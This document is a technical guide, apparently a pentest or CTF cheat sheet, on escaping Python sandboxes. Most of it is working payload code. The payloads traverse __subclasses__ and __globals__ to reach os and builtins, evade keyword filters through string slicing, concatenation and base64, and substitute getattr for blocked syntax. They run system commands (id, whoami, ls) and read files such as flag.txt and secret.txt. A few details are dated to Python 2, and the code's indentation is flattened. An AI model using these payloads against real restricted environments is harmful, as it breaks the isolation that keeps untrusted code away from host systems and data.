Advanced Methodologies for Bypassing Python Restricted Execution Environments
Restricted Execution Surface Analysis
Python sandboxes typically restrict access to specific built-in modules and functions that allow system interaction. Commonly blocked libraries include os, subprocess, pty, sys, and commands. Additionally, direct execution functions like eval, exec, and open are often removed from the global namespace or filtered via input validation.
However, the Python object model retains introspection capabilities even in restricted contexts. Every object inherits from object, and classes maintain references to their bases, subclasses, and global namespaces. These relationships form the foundation for escaping restricted environments.
Object Introspection and Inheritance Chains
The primary mechanism for sandbox escape involves traversing the inheritance hierarchy to locate loaded modules. In Python, all classes ultimately inherit from object. By accessing the __subclasses__() method of the base object class, an attacker can enumerate all currently loaded classes in the interpreter session.
Accessing Subclasses
Rather than relying on hardcoded indices which vary between versions, dynamic search patterns are more robust:
# Identify the base object class
base_object = ''.__class__.__mro__[-1]
# Enumerate available subclasses
available_classes = base_object.__subclasses__()
# Search for a specific utility class, e.g., warnings.catch_warnings
for cls in available_classes:
if cls.__name__ == 'catch_warnings':
target_class = cls
break
Retrieving Module Globals
Once a useful class is identified, its __init__ method often retains a reference to the global namespace where modules like os or linecache were imported. Accessing __globals__ (or func_globals in older versions) allows retrieval of these references.
# Access the global namespace of the class initializer
globals_ref = target_class.__init__.__globals__
# Retrieve the os module if available
os_module = globals_ref.get('os')
# Execute system commands if the module is accessible
if os_module:
os_module.system('id')
In scenarios where os is not directly in the globals, intermediate modules like linecache or warnings may hold references to it. Chaining these lookups enables access to forbidden functionality.
String Obfuscation and Import Bypasses
Input filters often blacklist specific strings such as "os", "eval", or "import". To bypass these restrictions, strings can be constructed dynamically.
String Reconstruction
Instead of passing literal strings, use concatenation, slicing, or encoding:
# Construct 'os' via slicing
module_name = 'so'[::-1]
# Construct via concatenation
part_a = 's'
part_b = 'o'
module_name = part_a + part_b
# Construct via encoding
import base64
module_name = base64.b64decode('b3M=').decode()
Alternative Importers
If __import__ is disabled, importlib provides an alternative pathway. Even if importlib is not directly accessible, it may be reachable through the subclass chain.
# Using importlib if accessible
import importlib
os_mod = importlib.import_module('os')
os_mod.system('whoami')
# Indirect execution via execfile (Python 2 legacy)
# execfile('/path/to/os.py')
# Indirect execution via file reading (Python 3)
with open('/path/to/os.py', 'r') as f:
exec(f.read())
Manipulating sys.modules and Builtins
The sys.modules dictionary caches all imported modules. Even if a module name is deleted from the local namespace, it may persist in sys.modules. Additionally, the builtins module contains core functions that might be restored.
Restoring Modules
import sys
# Check if os exists in the module cache
if 'os' in sys.modules:
os_module = sys.modules['os']
os_module.system('ls')
# Reload builtins if possible (Python 2 reload is built-in)
# import importlib
# importlib.reload(sys.modules['builtins'])
Accessing Builtins via Closures
Functions retain access to their global builtins via __globals__:
# Access eval through a lambda's global scope
eval_func = (lambda x: 0).__globals__['__builtins__']['eval']
eval_func("__import__('os').system('dir')")
Practical Exploitation Scenarios
Scenario 1: Restricted Eval Context
In challenges where eval is restricted to a custom global dictionary without __builtins__, object introspection allows access to the underlying class structure.
# Payload structure
payload = """.__class__.__mro__[2].__subclasses__()[40]('flag.txt').read()"""
# Execute within the restricted eval
# result = eval(user_input + payload)
Scenario 2: Filtered Keywords
When keywords like import or os are blacklisted, string manipulation bypasses the filter.
# Bypassing 'os' filter
command = "__import__('o' + 's').system('ls')"
# Bypassing 'import' filter using getattr
builtin_import = getattr(__builtins__, '__import__')
mod = builtin_import('subprocess')
mod.call(['ls'])
Scenario 3: Symbol Restrictions
Some environments filter brackets [] or dots .. Methods like getattr and __getitem__ can substitute attribute access.
# Using getattr instead of dot notation
os_sys = getattr(getattr(__builtins__, '__import__')('os'), 'system')
os_sys('id')
# Using __getitem__ instead of brackets
subclasses = ''.__class__.__mro__[-1].__subclasses__
target = subclasses().__getitem__(59)
File System Interaction
If direct command execution is blocked, file operations may still be possible via open or subclass file types. Writing a malicious script and importing its a viable escalation path.
# Write a helper script
with open('exploit.py', 'w') as f:
f.write("import os; print(os.system('whoami'))")
# Import and execute
import exploit
Alternatively, accessing the file subclass (Python 2) or io.FileIO (Python 3) through the inheritance chain allows direct file reading without the open function.
# Accessing file IO via subclasses
file_class = ''.__class__.__mro__[-1].__subclasses__()[40]
content = file_class('secret.txt').read()